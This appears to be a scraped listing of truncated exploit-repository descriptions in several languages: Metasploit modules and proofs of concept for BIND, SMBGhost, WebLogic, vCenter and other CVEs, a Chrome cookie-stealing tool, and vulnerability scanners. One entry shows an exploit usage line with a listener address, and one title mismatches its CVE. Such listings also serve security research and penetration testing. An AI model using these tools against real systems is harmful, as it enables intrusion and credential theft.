CVE-2016-2776

CVE-2016-2776 A tale of a DNS Packet, a detailed walk-thru and proof of concept of BIND's CVE-2016-2776. http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html In this repository you will find: Proof-of-Concept namedown.py Metasploit Auxiliary Module namedown.rb...

cookie_crimes

无需 Root 权限的 Chrome Cookie 提取 该工具会打印用户的 Chrome 浏览器 Cookie。你无需知道他们的密码，也无需 root 权限就能使用。非常棒非常棒非常棒非常棒。 如果你不是那种经常能在别人电脑上执行代码的人，那你大概不会在意这个。 特性 以精美的 JSON 格式打印所有 Chrome Cookie 无需 root 权限或用户密码即可工作 支持 Windows、Linux、macOS 实际上也支持 Microsoft Edge 浏览器 从任意 Chrome 用户配置文件中获取 Cookie 永远不会已读不回 能烤出一份像样的千层面 可编译为单个二进制文件...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Módulo de Metasploit Módulo de Metasploit de inyección de comandos del sistema operativo en InfoBlox Network Automation Producto: Network Automation root@kitploit: NetMRI Switch Port Manager Automation Change Manager Security Device Controller Proveedor: root@kitploit:...

CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC Esto fue convertido con ajustes a partir de un módulo de metasploit como ejercicio para el estudio de OSCP y el desarrollo de exploits. Originalmente surgió de la búsqueda de módulos aleatorios de ejecución remota de comandos con searchsploit. Analicé el código de...

CVE-2021-22005-metasploit

CVE-2021-22005-metasploit el script de metasploit POC/EXP sobre CVE-2021-22005 VMware vCenter Server contiene una vulnerabilidad de carga arbitraria de archivos preparación POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -...

SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module 这是一个针对CVE-2020-0796（又名SMBGhost）漏洞的实现，兼容Metasploit Framework。 注意事项： 此模块设计为在您拥有有效Shell时用于提升权限。 您可以更改有效载荷，如果您想使用自定义的DLL Shellcode，或者以某种方式对其进行编码。 可执行文件经过修改以规避检测，并使其能够运行并注入DLL Shellcode。 演示 致谢 感谢漏洞利用的作者 Daniel García Gutiérrez, Manuel Blanco Parajón。 同时感谢Spencer...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Unauthenticated Arbitrary File Upload Metasploit Date: 30-01-2021 Exploit Author: Berkan Er [email protected] Vendor Homepage: https://www.fortilogger.com/ Software Link: https://www.fortilogger.com/download Version: 4.4.2.2 Tested on: Windows 10 Enterprise x64...

citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan Este módulo de Metasploit-Framework se puede utilizar para ayudar a las empresas a comprobar las últimas vulnerabilidades de Citrix divulgadas el 08 de julio de 2020. CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 El informe público del 8 de julio de 2020 por Donny Maasland...

Bluekeep-Hunter

Bluekeep-Hunter CVE-2019-0708 Esto utiliza el módulo de metasploit para escanear y comprobar si CVE-2019-0708 existe o no. El objetivo de esto es comprobar y confirmar si los ordenadores de las organizaciones son realmente vulnerables o no, en lugar de utilizar una simple comprobación de versión ...

Klog Server <=2.41 - Unauthenticated Command Injection

Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The authenticate.php file uses the user HTTP POST parameter in a call to the shellexec PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The...

Pulse

Hi este es un script para comprobar direcciones IP de shodan que son vulnerables a la explotación de Pulse Secure CVE-2019-11510 Gracias a Rakesh Parchuri por ayudar a escribir el script Después de obtener las IP de la salida, usa el módulo de Metasploit para explotar más...

CVE-2012-2982-Python-PoC

CVE-2012-2982-Python-PoC This was converted from a metasploit module as an exercise for OSCP studying. It originally came from becoming frustrated with no public exploits to use manually for the box Gamezone from TryHackMe. I anaylzed the metasploit code and coverted it to python. Proof screensho...

CVE-2019-15029

CVE-2019-15029 The official exploit code for FusionPBX v4.4.8 Remote Code Execution CVE-2019-15029 Metasploit Module I wrote a simple Metasploit module to exploit this issue fusionpbxservices.rb, you just have to download it and copy it into metasploit modules directory...

pipe_finder

Pipe Finder 1.0 Script automatizado para buscar en el protocolo SMB nombres de pipe disponibles Capturas de pantalla Requisitos metasploit-framework wget locate módulo pipeauditv2.rb https://github.com/peterpt/pipeauditorfb - Se instalará en la primera ejecución Requisitos de instalación apt-get...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat Component Deserialization Vulnerability CVE-2017-10271 Detection and Exploitation Script Usage root@kitploit: $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ Features Standalone Python script Check functionality to see if any hos...

CVE-2015-1578-PoC-Metasploit

Módulo de Metasploit para CVE-2015-1578 Descripción general Este es un módulo de Metasploit para CVE-2015-1578 , una vulnerabilidad de desbordamiento de búfer en Achat 0.150 beta7 en Windows. La explotación conduce a la ejecución remota de código a través de un paquete UDP manipulado. Propósito...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit Este es un módulo de Metasploit que explota CVE-2017-11882 usando el siguiente POC: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. Instalación 1. Copie el cve201711882.rb a...

emby_ssrf

msfemby Esta herramienta comprobará un servidor EMBY remoto para intentar utilizar una vulnerabilidad SSRF y realizar un escaneo http de la red interna del servidor EMBY. Está basada en la vulnerabilidad CVE-2020-26948. Instalación Clona el repositorio y coloca los archivos rb en el directorio...

cve-2013-3319

cve-2013-3319 módulo de metasploit para CVE-2013-3319 / SAP Security Note 1816536 obsoleto : use saphostctrlgetcomputersystem de metasploit. Esto se mantiene solo con fines históricos. Aviso completo: http://labs.integrity.pt/advisories/cve-2013-3319/...

CVE-2021-27877-PoC

Prueba de concepto de CVE-2021-27877 Este repositorio contiene una versión modificada del módulo original de Rapid7 Metasploit para CVE-2021-27877 que afecta al agente Veritas Backup Exec. Durante mis pruebas, el módulo original de Metasploit identificaba correctamente el objetivo como vulnerable...